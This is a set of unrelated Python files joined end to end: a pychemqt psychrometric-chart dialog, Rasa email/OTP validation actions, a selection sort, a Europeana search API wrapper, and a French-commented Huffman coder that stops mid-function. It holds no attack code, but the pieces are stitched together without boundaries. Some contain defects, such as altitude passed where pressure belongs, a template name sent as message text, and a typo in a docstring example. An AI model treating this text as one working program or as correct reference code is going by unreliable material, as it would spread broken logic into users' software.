from configparser import ConfigParser
from functools import partial
import json
import logging
from math import pi
import os

from numpy import arctan

from lib.config import conf_dir
from lib.plot import PlotWidget
from lib.psycrometry import PsyState, PsychroState, _Pbar, _height
from lib.unidades import (Temperature, Pressure, Length, Mass,
                          SpecificVolume, Enthalpy)
from lib.utilities import formatLine
from tools.qt import QtCore, QtGui, QtWidgets, tr
from tools.UI_Tables.prefMEOS import Isolinea
from UI.widgets import Entrada_con_unidades, LineConfig

class PsychroPlot(PlotWidget):
    """
    Plot widget for psychrometric chart
        Add custom margins
        Define a point for text state properties, to easy remove and redraw
    """
    def __init__(self, *args, **kwargs):
        PlotWidget.__init__(self, *args, **kwargs)
        self.state = None

    def config(self, config):
        self.ax.set_autoscale_on(False)
        chart = config.getboolean("Psychr", "chart")
        xlabel = "Tdb, " + Temperature.text()
        ylabel = "%s, %s/%s" % (
            tr("pychemqt", "Absolute humidity"),
            Mass.text(), Mass.text())

        tmin = Temperature(config.getfloat("Psychr", "isotdbStart")).config()
        tmax = Temperature(config.getfloat("Psychr", "isotdbEnd")).config()
        wmin = config.getfloat("Psychr", "isowStart")
        wmax = config.getfloat("Psychr", "isowEnd")

        if chart:
            self.ax.set_xlabel(xlabel, size="large")
            self.ax.set_ylabel(ylabel, size="large")
            self.ax.set_xlim(tmin, tmax)
            self.ax.set_ylim(wmin, wmax)
            self.ax.yaxis.set_ticks_position("right")
            self.ax.yaxis.set_label_position("right")
            self.ax.figure.subplots_adjust(left=0.05, top=0.95)
        else:
            self.ax.set_xlabel(ylabel, size="large")
            self.ax.set_ylabel(xlabel, size="large")
            self.ax.set_xlim(wmin, wmax)
            self.ax.set_ylim(tmin, tmax)
            self.ax.xaxis.set_ticks_position("top")
            self.ax.xaxis.set_label_position("top")
            self.ax.figure.subplots_adjust(right=0.95, bottom=0.05)

        kw = formatLine(config, "Psychr", "crux")
        self.lx = self.ax.axhline(**kw)  # the horiz line
        self.ly = self.ax.axvline(**kw)  # the vert line

    def createCrux(self, state, chart):
        """Update horizontal and vertical lines to show click point"""
        self.state = state
        if chart:
            self.lx.set_ydata(state.w)
            self.ly.set_xdata(state.tdb.config())
        else:
            self.lx.set_ydata(state.tdb.config())
            self.ly.set_xdata(state.w)
        self.showPointData(state, chart)

    def clearCrux(self):
        """Clear crux lines for click interaction in plot"""
        self.lx.set_ydata(0)
        self.ly.set_xdata(0)

    def showPointData(self, state, chart=True):
        """Update data of current cursor point in plot annotates"""
        self.clearPointData()

        txt = []
        for key in ("tdb", "tdp", "twb", "HR", "w", "h", "v", "rho"):
            txt.append(("%s: %s" % (key, state.__getattribute__(key).str),))

        if chart:
            loc = "upper left"
        else:
            loc = "lower right"
        self.ax.table(cellText=txt, loc=loc, cellLoc="left", colLoc="left")
        self.ax.tables[0].auto_set_column_width(0)
        self.draw()

    def clearPointData(self):
        while self.ax.tables:
            self.ax.tables.pop()
        self.draw()

class PsychroInput(QtWidgets.QWidget):
    """Widget with parameter for psychrometric state"""
    parameters = ["tdb", "twb", "tdp", "w", "HR", "v", "h"]
    stateChanged = QtCore.pyqtSignal(PsyState)
    pressureChanged = QtCore.pyqtSignal()

    def __init__(self, state=None, readOnly=False, parent=None):
        """
        constructor
        optional state parameter to assign initial psychrometric state
        """
        super().__init__(parent)

        self.state = PsychroState(P=101325)

        layout = QtWidgets.QGridLayout(self)
        self.checkPresion = QtWidgets.QRadioButton(
            tr("pychemqt", "Pressure"))
        layout.addWidget(self.checkPresion, 1, 1, 1, 1)
        self.P = Entrada_con_unidades(Pressure, value=101325)
        self.P.valueChanged.connect(self.changePressure)
        layout.addWidget(self.P, 1, 2, 1, 1)
        self.checkAltitud = QtWidgets.QRadioButton(
            tr("pychemqt", "Altitude"))
        layout.addWidget(self.checkAltitud, 2, 1, 1, 1)
        self.z = Entrada_con_unidades(Length, value=0)
        self.checkPresion.toggled.connect(self.P.setEnabled)
        self.checkAltitud.toggled.connect(self.z.setEnabled)
        self.z.valueChanged.connect(self.changeAltitude)
        self.checkPresion.setChecked(True)
        self.z.setEnabled(False)
        layout.addWidget(self.z, 2, 2, 1, 1)
        layout.addItem(QtWidgets.QSpacerItem(
            10, 10, QtWidgets.QSizePolicy.Policy.Fixed,
            QtWidgets.QSizePolicy.Policy.Fixed), 3, 1, 1, 2)

        layout.addWidget(QtWidgets.QLabel(tr(
            "pychemqt", "Select point")), 4, 1, 1, 2)
        self.variables = QtWidgets.QComboBox()
        for txt in PsyState.TEXT_MODE:
            self.variables.addItem(txt)
        self.variables.currentIndexChanged.connect(self.updateInputs)
        layout.addWidget(self.variables, 5, 1, 1, 2)

        layout.addWidget(QtWidgets.QLabel("Tdb:"), 6, 1, 1, 1)
        self.tdb = Entrada_con_unidades(Temperature)
        self.tdb.valueChanged.connect(partial(self.updateKwargs, "tdb"))
        layout.addWidget(self.tdb, 6, 2, 1, 1)
        layout.addWidget(QtWidgets.QLabel("Twb:"), 7, 1, 1, 1)
        self.twb = Entrada_con_unidades(Temperature)
        self.twb.valueChanged.connect(partial(self.updateKwargs, "twb"))
        layout.addWidget(self.twb, 7, 2, 1, 1)
        layout.addWidget(QtWidgets.QLabel("Tdp:"), 8, 1, 1, 1)
        self.tdp = Entrada_con_unidades(Temperature)
        self.tdp.valueChanged.connect(partial(self.updateKwargs, "tdp"))
        layout.addWidget(self.tdp, 8, 2, 1, 1)
        layout.addWidget(QtWidgets.QLabel(tr(
            "pychemqt", "Humidity Ratio:")), 9, 1, 1, 1)
        self.w = Entrada_con_unidades(float, textounidad="kgw/kgda")
        self.w.valueChanged.connect(partial(self.updateKwargs, "w"))
        layout.addWidget(self.w, 9, 2, 1, 1)
        layout.addWidget(QtWidgets.QLabel(tr(
            "pychemqt", "Relative humidity:")), 10, 1, 1, 1)
        self.HR = Entrada_con_unidades(float, textounidad="%")
        self.HR.valueChanged.connect(partial(self.updateKwargs, "HR"))
        layout.addWidget(self.HR, 10, 2, 1, 1)
        layout.addWidget(QtWidgets.QLabel(tr(
            "pychemqt", "Volume")), 11, 1, 1, 1)
        self.v = Entrada_con_unidades(SpecificVolume)
        self.v.valueChanged.connect(partial(self.updateKwargs, "v"))
        layout.addWidget(self.v, 11, 2, 1, 1)
        layout.addWidget(QtWidgets.QLabel(tr(
            "pychemqt", "Enthalpy")), 12, 1, 1, 1)
        self.h = Entrada_con_unidades(Enthalpy)
        self.h.valueChanged.connect(partial(self.updateKwargs, "h"))
        layout.addWidget(self.h, 12, 2, 1, 1)
        layout.addItem(QtWidgets.QSpacerItem(
            20, 20, QtWidgets.QSizePolicy.Policy.Fixed,
            QtWidgets.QSizePolicy.Policy.Fixed), 13, 1, 1, 2)

        self.setReadOnly(readOnly)
        self.updateInputs(0)
        if state:
            self.setState(state)

    def updateInputs(self, index):
        """Update inputs appearance to highlight active"""
        for par in self.parameters:
            self.__getattribute__(par).setReadOnly(True)
            self.__getattribute__(par).setResaltado(False)
        for par in PsyState.VAR_NAME[index]:
            self.__getattribute__(par).setReadOnly(False)
            self.__getattribute__(par).setResaltado(True)

        index = self.variables.currentIndex()
        kwargs = {"P": self.P.value}
        for par in PsyState.VAR_NAME[index]:
            if self.__getattribute__(par).value:
                kwargs[par] = self.state.__getattribute__(par)
        self.state = PsychroState(**kwargs)

    def setReadOnly(self, readOnly):
        self.checkPresion.setEnabled(not readOnly)
        self.checkAltitud.setEnabled(not readOnly)
        self.P.setReadOnly(readOnly)
        self.z.setReadOnly(readOnly)
        self.variables.setEnabled(not readOnly)
        for par in self.parameters:
            self.__getattribute__(par).setReadOnly(True)
            self.__getattribute__(par).setResaltado(False)

    def updateKwargs(self, key, value):
        """Update kwargs of state instance, if its correctly defined show it"""
        kwargs = {key: value}
        self.state(**kwargs)
        if self.state.status:
            self.setState(self.state)
            self.stateChanged.emit(self.state)

    def setState(self, state):
        """Fill data input with state properties"""
        self.state = state
        if state.w < state.ws:
            for p in self.parameters:
                self.__getattribute__(p).setValue(state.__getattribute__(p))

    def changePressure(self, value):
        """Change pressure to global plot and for states"""
        self.z.setValue(_height(value))
        self.state = PsychroState(P=value)
        self.pressureChanged.emit()

    def changeAltitude(self, value):
        """Change pressure through altitude and ICAO equation"""
        presion = _Pbar(value)
        self.P.setValue(presion)
        self.state = PsychroState(P=value)
        self.pressureChanged.emit()

class UI_Psychrometry(QtWidgets.QDialog):
    """Psychrometric charts tool"""
    def __init__(self, parent=None):
        super().__init__(parent)
        self.setWindowTitle(tr(
            "pychemqt", "Psychrometric chart"))
        self.setWindowIcon(QtGui.QIcon(QtGui.QPixmap(
            os.environ["pychemqt"] + "/images/button/psychrometric.png")))
        self.showMaximized()

        layout = QtWidgets.QGridLayout(self)
        self.plt = PsychroPlot(parent=self, width=100, height=1, dpi=90)
        self.plt.fig.canvas.mpl_connect('button_press_event', self.click)
        layout.addWidget(self.plt, 1, 3, 2, 2)

        self.inputs = PsychroInput()
        self.inputs.stateChanged.connect(self.plt.createCrux)
        self.inputs.pressureChanged.connect(self.plot)
        layout.addWidget(self.inputs, 1, 1, 1, 1)
        layout.addItem(QtWidgets.QSpacerItem(
            10, 10, QtWidgets.QSizePolicy.Policy.Expanding,
            QtWidgets.QSizePolicy.Policy.Expanding), 2, 1)

        self.buttonShowToolbox = QtWidgets.QToolButton()
        self.buttonShowToolbox.setCheckable(True)
        self.buttonShowToolbox.toggled.connect(self.showToolBar)
        layout.addWidget(self.buttonShowToolbox, 1, 2, 2, 1)
        self.line = QtWidgets.QFrame()
        self.line.setFrameShape(QtWidgets.QFrame.Shape.VLine)
        self.line.setFrameShadow(QtWidgets.QFrame.Shadow.Sunken)
        layout.addWidget(self.line, 1, 3, 3, 1)

        self.progressBar = QtWidgets.QProgressBar()
        self.progressBar.setVisible(False)
        layout.addWidget(self.progressBar, 3, 3)
        self.status = QtWidgets.QLabel()
        layout.addWidget(self.status, 3, 3)

        btBox = QtWidgets.QDialogButtonBox(
            QtWidgets.QDialogButtonBox.StandardButton.Close)
        butonPNG = QtWidgets.QPushButton(QtGui.QIcon(os.path.join(
            os.environ["pychemqt"], "images", "button", "image.png")),
            tr("pychemqt", "Save as PNG"))
        butonPNG.clicked.connect(self.plt.savePNG)
        butonConfig = QtWidgets.QPushButton(QtGui.QIcon(os.path.join(
            os.environ["pychemqt"], "images", "button", "configure.png")),
            tr("pychemqt", "Configure"))
        butonConfig.clicked.connect(self.configure)
        btBox.rejected.connect(self.reject)
        layout.addWidget(btBox, 3, 4)
        btBox.layout().insertWidget(0, butonPNG)
        btBox.layout().insertWidget(0, butonConfig)

        self.showToolBar(False)
        self.Preferences = ConfigParser()
        self.Preferences.read(conf_dir+"pychemqtrc")
        self.plot()
        logging.info(tr(
            "pychemqt", "Started psychrometric chart tool"))

    def configure(self):
        """Show configuration dialog"""
        dlg = ConfigDialog(self.Preferences)
        if dlg.exec():
            self.Preferences = dlg.value(self.Preferences)
            self.Preferences.write(open(conf_dir+"pychemqtrc", "w"))
            self.plot()

    def showToolBar(self, checked):
        """Show/Hide left toolbar with additional funcionality"""
        self.inputs.setVisible(checked)
        if checked:
            image = "arrow-left-double.png"
        else:
            image = "arrow-right-double.png"
        self.buttonShowToolbox.setIcon(QtGui.QIcon(
            os.environ["pychemqt"] + os.path.join("images", "button", image)))

    def drawlabel(self, name, t, W, label, unit):
        """
        Draw annotation for isolines
            name: name of isoline
            t: x array of line
            W: y array of line
            label: text value to draw
            unit: text units to draw
        """
        if self.Preferences.getboolean("Psychr", name+"label"):
            TMIN = self.Preferences.getfloat("Psychr", "isotdbStart")
            TMAX = self.Preferences.getfloat("Psychr", "isotdbEnd")
            tmin = Temperature(TMIN).config()
            tmax = Temperature(TMAX).config()
            wmin = self.Preferences.getfloat("Psychr", "isowStart")
            wmax = self.Preferences.getfloat("Psychr", "isowEnd")
            if self.Preferences.getboolean("Psychr", "chart"):
                x = tmax-tmin
                y = wmax-wmin
                i = 0
                for ti, wi in zip(t, W):
                    if tmin <= ti <= tmax and wmin <= wi <= wmax:
                        i += 1
            else:
                x = wmax-wmin
                y = tmax-tmin
                i = 0
                for ti, wi in zip(t, W):
                    if tmin <= wi <= tmax and wmin <= ti <= wmax:
                        i += 1

            if isinstance(label, float):
                label = "%4g" % label

            if self.Preferences.getboolean("Psychr", name+"units"):
                label += unit
            pos = self.Preferences.getfloat("Psychr", name+"position")
            p = int(i*pos/100-1)
            rot = arctan((W[p]-W[p-1])/y/(t[p]-t[p-1])*x)*360/2/pi
            self.plt.ax.annotate(label, (t[p], W[p]), rotation=rot,
                                 size="small", ha="center", va="center")

    def plot(self):
        """Plot chart"""
        self.plt.clearPointData()
        self.plt.ax.clear()
        chart = self.Preferences.getboolean("Psychr", "chart")
        self.plt.config(self.Preferences)
        filename = conf_dir+"%s_%i.json" % (
            PsychroState().__class__.__name__, self.inputs.P.value)
        if os.path.isfile(filename):
            with open(filename, "r") as archivo:
                data = json.load(archivo)
                self.status.setText(tr(
                    "pychemqt", "Loading cached data..."))
                QtWidgets.QApplication.processEvents()
        else:
            self.progressBar.setVisible(True)
            self.status.setText(tr(
                "pychemqt", "Calculating data..."))
            QtWidgets.QApplication.processEvents()
            data = PsychroState.calculatePlot(self)
            with open(filename, "w") as file:
                json.dump(data, file, indent=4)

            self.progressBar.setVisible(False)
        self.status.setText(
            tr("pychemqt", "Plotting..."))
        QtWidgets.QApplication.processEvents()

        # Saturation line
        t = [Temperature(ti).config() for ti in data["t"]]
        Hs = data["Hs"]
        fmt = formatLine(self.Preferences, "Psychr", "saturation")
        if chart:
            self.plt.plot(t, Hs, **fmt)
        else:
            self.plt.plot(Hs, t, **fmt)

        # Iso dew bulb temperaure lines, vertial lines in normal h-Tdb plot,
        # vertical in mollier diagram
        fmt = formatLine(self.Preferences, "Psychr", "isotdb")
        for i, T in enumerate(t):
            if chart:
                self.plt.plot([T, T], [0, Hs[i]], **fmt)
            else:
                self.plt.plot([0, Hs[i]], [T, T], **fmt)

        # Iso humidity lines, horizontal lines in normal h-Tdb plot, vertical
        # in mollier diagram
        H = data["H"]
        th = data["th"]
        tm = Temperature(self.Preferences.getfloat("Psychr", "isotdbEnd"))
        fmt = formatLine(self.Preferences, "Psychr", "isow")
        for i, H in enumerate(H):
            ts = Temperature(th[i]).config()
            if chart:
                self.plt.plot([ts, tm.config()], [H, H], **fmt)
            else:
                self.plt.plot([H, H], [ts, tm.config()], **fmt)

        # Iso relative humidity lines
        fmt = formatLine(self.Preferences, "Psychr", "isohr")
        for Hr, H0 in list(data["Hr"].items()):
            if chart:
                self.plt.plot(t, H0, **fmt)
                self.drawlabel("isohr", t, H0, Hr, "%")
            else:
                self.plt.plot(H0, t, **fmt)
                self.drawlabel("isohr", H0, t, Hr, "%")

        # Iso wet bulb temperature lines
        fmt = formatLine(self.Preferences, "Psychr", "isotwb")
        for T, (H, Tw) in list(data["Twb"].items()):
            value = Temperature(T).config()
            Tw_conf = [Temperature(Twi).config() for Twi in Tw]
            txt = Temperature.text()
            if chart:
                self.plt.plot(Tw_conf, H, **fmt)
                self.drawlabel("isotwb", Tw_conf, H, value, txt)
            else:
                self.plt.plot(H, Tw_conf, **fmt)
                self.drawlabel("isotwb", H, Tw_conf, value, txt)

        # Isochor lines
        fmt = formatLine(self.Preferences, "Psychr", "isochor")
        for v, (Td, H) in list(data["v"].items()):
            value = SpecificVolume(v).config()
            Td_conf = [Temperature(Tdi).config() for Tdi in Td]
            txt = SpecificVolume.text()
            if chart:
                self.plt.plot(Td_conf, H, **fmt)
                self.drawlabel("isochor", Td_conf, H, value, txt)
            else:
                self.plt.plot(H, Td_conf, **fmt)
                self.drawlabel("isochor", H, Td_conf, value, txt)

        if self.plt.state:
            self.plt.createCrux(self.plt.state, chart)
        self.plt.draw()
        self.status.setText("%s %s" % (
            tr("pychemqt", "Using"),
            PsychroState().__class__.__name__[3:]))

    def click(self, event):
        """Update input and graph annotate when mouse click over chart"""
        if event.xdata and event.ydata:
            chart = self.Preferences.getboolean("Psychr", "chart")
            if chart:
                state = self.createState(event.xdata, event.ydata)
            else:
                state = self.createState(event.ydata, event.xdata)
            if state.w <= state.ws:
                self.inputs.setState(state)
                self.plt.createCrux(state, chart)
            else:
                self.plt.clearCrux()
                self.plt.clearPointData()

    def createState(self, x, y):
        """Create psychrometric state from click or mouse position"""
        tdb = Temperature(x, "conf")
        punto = PsychroState(P=self.inputs.P.value, tdb=tdb, w=y)
        return punto

    def setProgressValue(self, value):
        """Update progress bar with new value"""
        self.progressBar.setValue(int(value))
        QtWidgets.QApplication.processEvents()

class Config(QtWidgets.QWidget):
    """Phychrometric chart configuration"""
    lineas = [
        ("IsoTdb", Temperature,
         tr(
             "pychemqt", "Iso dry bulb temperature")),
        ("IsoW", float,
         tr(
             "pychemqt", "Iso absolute humidity")),
        ("IsoHR", float,
         tr(
             "pychemqt", "Iso relative humidity")),
        ("IsoTwb", Temperature,
         tr(
             "pychemqt", "Iso wet bulb temperature")),
        ("Isochor", SpecificVolume,
         tr("pychemqt", "Isochor"))]

    def __init__(self, config, parent=None):
        """constructor, config optional parameter to input project config"""
        super().__init__(parent)
        lyt = QtWidgets.QGridLayout(self)
        lyt.setContentsMargins(0, 0, 0, 0)
        scroll = QtWidgets.QScrollArea()
        scroll.setFrameStyle(QtWidgets.QFrame.Shape.NoFrame)
        lyt.addWidget(scroll)

        dlg = QtWidgets.QWidget()
        layout = QtWidgets.QGridLayout(dlg)

        groupType = QtWidgets.QGroupBox(tr(
            "pychemqt", "Chart type"))
        groupLayout = QtWidgets.QVBoxLayout(groupType)
        self.checkASHRAE = QtWidgets.QRadioButton(
            tr(
                "pychemqt", "ASHRAE Chart, W vs Tdb"))
        groupLayout.addWidget(self.checkASHRAE)
        self.checkMollier = QtWidgets.QRadioButton(
            tr("pychemqt", "Mollier Chart ix"))
        groupLayout.addWidget(self.checkMollier)
        layout.addWidget(groupType, 0, 1, 1, 2)

        self.virial = QtWidgets.QCheckBox(tr(
            "pychemqt", "Use virial equation of state"))
        layout.addWidget(self.virial, 1, 1, 1, 2)
        self.coolProp = QtWidgets.QCheckBox(tr(
            "pychemqt", "Use external library coolProp (faster)"))
        self.coolProp.setEnabled(False)
        layout.addWidget(self.coolProp, 2, 2)
        self.refprop = QtWidgets.QCheckBox(tr(
            "pychemqt", "Use external library refprop (fastest)"))
        self.refprop.setEnabled(False)
        layout.addWidget(self.refprop, 3, 2)
        layout.addItem(QtWidgets.QSpacerItem(
            10, 10, QtWidgets.QSizePolicy.Policy.Fixed,
            QtWidgets.QSizePolicy.Policy.Fixed), 4, 1)

        self.satlineconfig = LineConfig(
            "saturation", tr(
                "pychemqt", "Saturation Line Style"))
        layout.addWidget(self.satlineconfig, 5, 1, 1, 2)
        self.cruxlineconfig = LineConfig(
            "crux", tr(
                "pychemqt", "Crux Line Style"))
        layout.addWidget(self.cruxlineconfig, 6, 1, 1, 2)
        group = QtWidgets.QGroupBox(
            tr("pychemqt", "Isolines"))
        layout.addWidget(group, 7, 1, 1, 2)
        layoutgroup = QtWidgets.QGridLayout(group)
        self.comboIsolineas = QtWidgets.QComboBox()
        layoutgroup.addWidget(self.comboIsolineas, 1, 1)
        self.Isolineas = QtWidgets.QStackedWidget()
        self.comboIsolineas.currentIndexChanged.connect(
            self.Isolineas.setCurrentIndex)
        layoutgroup.addWidget(self.Isolineas, 2, 1)
        for name, unit, text in self.lineas:
            self.comboIsolineas.addItem(text)
            self.Isolineas.addWidget(Isolinea(unit, name, config, "Psychr"))
        layout.addItem(QtWidgets.QSpacerItem(
            10, 10, QtWidgets.QSizePolicy.Policy.Expanding,
            QtWidgets.QSizePolicy.Policy.Expanding), 10, 2)

        scroll.setWidget(dlg)

        if os.environ["CoolProp"]:
            self.virial.toggled.connect(self.coolProp.setEnabled)
        if os.environ["refprop"]:
            self.virial.toggled.connect(self.refprop.setEnabled)

        if config.has_section("Psychr"):
            if config.getboolean("Psychr", 'chart'):
                self.checkASHRAE.setChecked(True)
            else:
                self.checkMollier.setChecked(True)
            self.virial.setChecked(config.getboolean("Psychr", 'virial'))
            self.coolProp.setChecked(config.getboolean("Psychr", 'coolprop'))
            self.refprop.setChecked(config.getboolean("Psychr", 'refprop'))
            self.satlineconfig.setConfig(config, "Psychr")
            self.cruxlineconfig.setConfig(config, "Psychr")

    def value(self, config):
        """Return value for main dialog"""
        if not config.has_section("Psychr"):
            config.add_section("Psychr")

        config.set("Psychr", "chart", str(self.checkASHRAE.isChecked()))
        config.set("Psychr", "virial", str(self.virial.isChecked()))
        config.set("Psychr", "coolprop", str(self.coolProp.isChecked()))
        config.set("Psychr", "refprop", str(self.refprop.isChecked()))
        config = self.satlineconfig.value(config, "Psychr")
        config = self.cruxlineconfig.value(config, "Psychr")

        for indice in range(self.Isolineas.count()):
            config = self.Isolineas.widget(indice).value(config)
        return config

class ConfigDialog(QtWidgets.QDialog):
    """Dialog to config thermal method calculations"""
    def __init__(self, config=None, parent=None):
        super().__init__(parent)
        self.setWindowTitle(tr(
            "pychemqt", "Psychrometric chart configuration"))
        layout = QtWidgets.QVBoxLayout(self)
        self.widget = Config(config)
        layout.addWidget(self.widget)
        self.buttonBox = QtWidgets.QDialogButtonBox(
            QtWidgets.QDialogButtonBox.StandardButton.Cancel
            | QtWidgets.QDialogButtonBox.StandardButton.Ok)
        self.buttonBox.accepted.connect(self.accept)
        self.buttonBox.rejected.connect(self.reject)
        layout.addWidget(self.buttonBox)

    def value(self, config):
        """Function result for wizard"""
        config = self.widget.value(config)
        return config

if __name__ == "__main__":
    import sys
    app = QtWidgets.QApplication(sys.argv)
    aireHumedo = UI_Psychrometry()
    sys.exit(app.exec())


# This files contains your custom actions which can be used to run
# custom Python code.
#
# See this guide on how to implement these action:
# https://rasa.com/docs/rasa/custom-actions

# This is a simple example for a custom action which utters "Hello World!"

from typing import Any, Text, Dict, List, Tuple
from rasa_sdk import Action, Tracker, FormValidationAction
from rasa_sdk.events import EventType, SlotSet
from rasa_sdk.executor import CollectingDispatcher
#
#
from database_utils.constants import EMAIL, REQUESTED_SLOT,OTP
from database_utils.database_utils import is_valid_user, is_valid_otp

class AuthenticatedAction(Action):
    def name(self) -> Text:
        return "action_authenticated"

    def run(self, dispatcher: CollectingDispatcher,
            tracker: Tracker,
            domain: Dict[Text, Any]
            ) -> List[Dict[Text, Any]]:
            email = tracker.get_slot("email")
            otp = tracker.get_slot("otp")
            if email is not None and otp is not None:
                dispatcher.utter_message(template="utter_authenticated_successfully")
            else:
                dispatcher.utter_message(text="utter_authentication_failure")
            return []

class ValidateAuthFormAction(FormValidationAction):
    def name(self) -> Text:
        return "validate_auth_form"

    def validate_email(
        self,
        value: Text,
        dispatcher: "CollectingDispatcher",
        tracker: "Tracker",
        domain: "DomainDict",
    ) -> List[EventType]:
        returned_slots = {}
        if value is not None and is_valid_user(value):
            returned_slots = {EMAIL:value}
        else:
            returned_slots = {REQUESTED_SLOT: EMAIL}
            if value is None:
                dispatcher.utter_message(template="utter_email_not_valid")
            elif not is_valid_user(value):
                dispatcher.utter_message(template="utter_email_not_registered")
        return returned_slots

    def validate_otp(
        self,
        value: float,
        dispatcher: "CollectingDispatcher",
        tracker: "Tracker",
        domain: "DomainDict",
    ) -> List[EventType]:
        email = tracker.get_slot(EMAIL)
        returned_slots = {}
        if value is not None and is_valid_otp(value,email):
            returned_slots = {OTP:value}
        else:
            returned_slots ={REQUESTED_SLOT:OTP}
            dispatcher.utter_message(template="utter_otp_not_valid")
        return returned_slots


def s_sort(arr):

    for idx, el in enumerate(arr):
        min = idx
        for i in range(idx +1, len(arr)) :
            if arr[i] < arr[min]: min = i

        arr[idx] = arr[min]
        arr[min] = el

    return arr

test = [5, 5, 2, 6, 3]
print(s_sort(test))


import requests

from ..utils.auth import get_api_key
from ..utils.edm_utils import cursor_search

def search(**kwargs):
    """
    Wrapper for the Search API [1]. Returns objects matching a query with several parameters

    >>> import pyeuropeana.apis as apis
    >>> resp = apis.search(
    >>>    query = '*',s
    >>>    qf = 'TYPE:IMAGE',
    >>>    reusability = 'open AND permission',
    >>>    media = True,
    >>>    thumbnail = True,
    >>>    colourpalette = '#0000FF',
    >>>    theme = 'photography',
    >>>    sort = 'europeana_id',
    >>>    profile = 'rich',
    >>>    rows = 1000,
    >>>     )

    Args:
      query (:obj:`str`)
          The search term(s). See Query Syntax [?] for information on forming complex queries and examples.
      rows (:obj:`int`,optional)
        The number of records to return. Maximum is 100. Defaults to 12. See pagination.
      qf (:obj:`str`,optional)
          Query Refinement. This parameter can be defined more than once. See Query Syntax [?] page for more information.
      reusability (:obj:`str`,optional)
        Filter by copyright status. Possible values are open, restricted or permission.
      media (:obj:`bool`,optional)
        Filter by records where an URL to the full media file is present in the edm:isShownBy or edm:hasView metadata and is resolvable.
      thumbnail (:obj:`bool`,optional)
        Filter by records where a thumbnail image has been generated for any of the WebResource media resources (thumbnail available in the edmPreview field).
      landingpage (:obj:`bool`,optional)
        Filter by records where the link to the original object on the providers website (edm:isShownAt) is present and verified to be working.
      colourpalette (:obj:`str`,optional)
        Filter by images where one of the colours (see colour palette) of an image matches the provided colour code. You can provide this parameter multiple times, the search will then do an 'AND' search on all the provided colours.
      theme (:obj:`str`,optional)
        Restrict the query over one of the Europeana Thematic Collections. The possible values are: archaelogy, art, fashion, industrial, manuscript, map, migration, music, nature, newspaper, photography, sport, ww1.
      sort (:obj:`str`,optional)
        Sorting records in ascending or descending order of search fields. The following fields are supported: score (relenvancy of the search result), timestamp_created, timestamp_update, europeana_id, COMPLETENESS, is_fulltext, has_thumbnails, and has_media. Sorting on more than one field is possible by supplying as comma separated values. It is also possible to randomly order items by using the keyword "random" instead of a field name. You can also request for a fixed random order by indicating a seed "random_SEED" which is useful when paginating along the same randomized order.
      profile (:obj:`str`,optional)
        A profile parameter which controls the format and richness of the response.
      cursor (:obj:`str`,optional)
        A cursor mark from where to start the search result set when using deep pagination. Set to * to start cursor-based pagination.
      callback (:obj:`str`,optional)
        Name of a client side callback function, see JSONP.
      facet (:obj:`str`,optional)
        A name of an individual field or a comma separated list of fields

    Returns: :obj:`dict`
      Response

    References:
      1. https://pro.europeana.eu/page/search

    """
    params = {
        "wskey": get_api_key(),
        "query": kwargs.get("query", "*"),
        "qf": kwargs.get("qf"),
        "reusability": kwargs.get("reusability"),
        "media": kwargs.get("media"),
        "thumbnail": kwargs.get("thumbnail"),
        "landingpage": kwargs.get("landingpage"),
        "colourpalette": kwargs.get("colourpalette"),
        "theme": kwargs.get("theme"),
        "sort": kwargs.get("sort", "europeana_id"),
        "profile": kwargs.get("profile"),
        "rows": kwargs.get("rows", 12),
        "cursor": kwargs.get("cursor", "*"),
        "callback": kwargs.get("callback"),
        "facet": kwargs.get("facet"),
    }

    endpoint = "https://api.europeana.eu/record/v2/search.json"

    if not kwargs:
        raise ValueError("No arguments passed")

    # test key
    response = requests.get(
        endpoint, params={"wskey": params["wskey"], "query": "*"}
    ).json()
    if not response["success"]:
        raise ValueError(response["error"])

    # Necessary for handling facets of the type 'PROVIDER&f.PROVIDER.facet.limit=30&f.PROVIDER.facet.offset=10'
    _params = params.copy()
    if params["facet"]:
        facet_list = params["facet"].split("&")
        if len(facet_list) > 1:
            _params.update({"facet": facet_list[0]})
            _params.update(
                {item.split("=")[0]: item.split("=")[1] for item in facet_list[1:]}
            )

    url = requests.get(endpoint, params=_params).url
    response = cursor_search(endpoint, _params)
    response.update({"url": url, "params": params})
    return response


#Codec va faire appel à la libraire heapq, pour gérer l'ordonnancement des noeuds selon leur valeur
#On pourrait s'en passer, en triant à chaque itération la liste de
#dictionnaire des noeuds selon les keys. heapq le fera pour nous
#Heapq.heappop pop le dico de key la plus basse
#Heapq.heappush ajoute le noeud au heap
#C'est juste une gestion de pile automatisée

import heapq
import os

class node:
    def __init__(self, char, freq):
        self.char = char
        self.freq = freq
        self.left = None
        self.right = None

    def __lt__(self, other): #on va avoir besoin du comparateur < pour heapq (comme on en aurait besoin pour trier la pile)
            if(other == None):
                return -1
            if(not isinstance(other,node)):
                return -1
            return self.freq < other.freq

class builder:

    def __init__(self,text):
        self.heap = [] #liste des nodes, qu'on gérera facilement grâce à heapq
        self.text = text

    def make_frequency_dict(self): #dictionnaire des fréquences des lettres
            frequency = {}
            for character in self.text:
                if not character in frequency:
                    frequency[character] = 0
                frequency[character] += 1
            return frequency

    def heap_maker(self, frequency): #on construit la liste des nodes
        for key in frequency:
            noeud = node(key, frequency[key])
            print(noeud.freq, noeud.char)
            heapq.heappush(self.heap, noeud)

    def tree_maker(self): #maintenant on relie les noeuds entre eux

        while(len(self.heap)> 1): #On traite les noeuds jusqu'à ce qu'il ne reste que le noeud du haut, i.e. l'arbre binaire

            noeud1 = heapq.heappop(self.heap) #on sort le noeud de frequency la plus basse
            noeud2 = heapq.heappop(self.heap) #on sort le noeud de frequency la plus basse encore
            merged = node(None, noeud1.freq + noeud2.freq) #On relie les noeuds, l'info sur les chars sera dans les noeuds fils
            merged.left = noeud1 #on met bien le plus petit à gauche
            merged.right = noeud2 #et le plus grand à droite
            print(merged.freq)
            heapq.heappush(self.heap, merged) #et on remet ce noeud dans la liste des noeuds à traiter !

    def tree(self):
        frequency = self.make_frequency_dict()
        self.heap_maker(frequency)
        self.tree_maker()
        print(frequency)
        return self.heap[0]

def TreeBuilder(text):
    return builder(text)

class codec:

    def __init__(self, tree):
        self.tree = tree
        self.codes = {} #dico, à une lettre on associe un code
        self.reversemapping = {} #dico inversé, à un code on associe une lettre

    def codemaker(self):
        root = self.tree
        current_code = ""
        self.codemaker_assist1(root, current_code)

    def codemaker_assist1(self, root, current_code): #fonction d'assistance à codemaker

        if root == None:
            return

        if root.char != None: #on est sur un noeud en bout de branche, qui est associé à un charactère
            self.codes[root.char] = current_code #dictionnaire de codage
